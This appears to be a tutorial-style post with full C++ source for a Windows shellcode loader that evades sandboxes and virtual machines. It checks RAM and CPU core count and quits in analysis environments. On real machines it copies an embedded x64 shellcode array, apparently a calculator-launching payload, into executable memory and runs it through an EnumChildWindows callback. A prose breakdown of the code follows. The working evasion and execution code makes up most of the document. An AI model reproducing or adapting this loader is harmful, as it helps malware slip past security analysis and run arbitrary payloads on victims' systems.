Bypass Sandbox and Virtual Machines

SysReq Class

```cpp
#include <windows.h>

using namespace std;

class SysReq {
    private:
        int ram;
        int cores;

    public:

        SysReq(){
            this->ram = 0;
            this->cores = 0;
        }

        int getRam(){
            return ram;
        }

        int getCores(){
            return cores;
        }

        int ramdetect(){
            MEMORYSTATUSEX memInfo;
            memInfo.dwLength = sizeof(MEMORYSTATUSEX);
            GlobalMemoryStatusEx(&memInfo);
            ram = memInfo.ullTotalPhys / 1024 / 1024;
            return memInfo.ullTotalPhys / 1024 / 1024;
        }

        int coresdetect(){
            SYSTEM_INFO sysInfo;
            GetSystemInfo(&sysInfo);
            cores = sysInfo.dwNumberOfProcessors;
            return sysInfo.dwNumberOfProcessors;
        }

        void getSysInfo(){
            this->ram = ramdetect();
            this->cores = coresdetect();
        }

};
```

Detector and Executor

```cpp
#include <iostream>
#include <windows.h>
#include "sysreq.h"

using namespace std;

char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";

int main(){
    cout << "Checking for VM or Sandbox...\n";
    int ram;
    int cores;
    SysReq sysreq;
    sysreq.getSysInfo();
    ram = sysreq.getRam();
    cores = sysreq.getCores();
    if(ram < 4000 || cores < 2){
        cout << "VM or Sandbox Detected.\n";
        cout << "Ram: " << ram << "MB\n";
        cout << "Cores: " << cores << "\n";
        getchar();
        return 0;
    }
    cout << "No VM or Sandbox Detected.\n";
    cout << "Ram: " << ram << "MB\n";
    cout << "Cores: " << cores << "\n";
    cout << "Executing Malicious Program...\n";
    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumChildWindows((HWND) NULL,(WNDENUMPROC) hAlloc,NULL);
    getchar();
    return 0;
}
```

This code appears to be a Windows program that checks for the presence of a virtual machine (VM) or sandbox environment. If it detects such an environment, it exits the program. Otherwise, it executes a shellcode stored in the `shellcode` array. The code also includes a custom class called `SysReq` to gather system information.

Let's break down the code step by step:

1. **Header Includes**:
   - `<iostream>`: Standard C++ input/output library for console output.
   - `<windows.h>`: Windows API header for various Windows-specific functions and types.
   - `"sysreq.h"`: A custom header file, presumably defining the `SysReq` class.
2. **Global Variables**:
   - `char shellcode[]`: An array containing binary shellcode. This code is executed if no VM or sandbox is detected.
3. **`main` Function**:
   - Outputs a message indicating that it's checking for VM or sandbox.
   - Declares variables `ram` and `cores`.
   - Creates an instance of the `SysReq` class named `sysreq` and calls its `getSysInfo` method.
   - Retrieves the RAM and CPU core count information using the `getRam` and `getCores` methods.
   - Checks if the RAM is less than 4000 MB or the core count is less than 2. If either condition is met, it assumes a VM or sandbox environment and exits the program.
   - If no VM or sandbox is detected, it displays system information (RAM and core count) and proceeds to execute the `shellcode`.
   - Allocates executable memory using `VirtualAlloc`, copies the `shellcode` into the allocated memory, and executes it by calling `EnumChildWindows`.
4. **Shellcode**:
   - The `shellcode` array contains a sequence of binary instructions. It appears to be designed to perform some malicious activity when executed.
5. **`SysReq` Class**:
   - The code references a custom `SysReq` class, which is expected to provide methods for gathering system information, such as RAM and CPU core count.

This code is concerning because it includes shellcode execution, which can be indicative of malicious activity. The code's purpose is to evade detection in a virtual or sandbox environment and only execute the payload when running on a "real" system. The actual functionality of the `shellcode` is not provided in the code, so its specific behavior is unknown.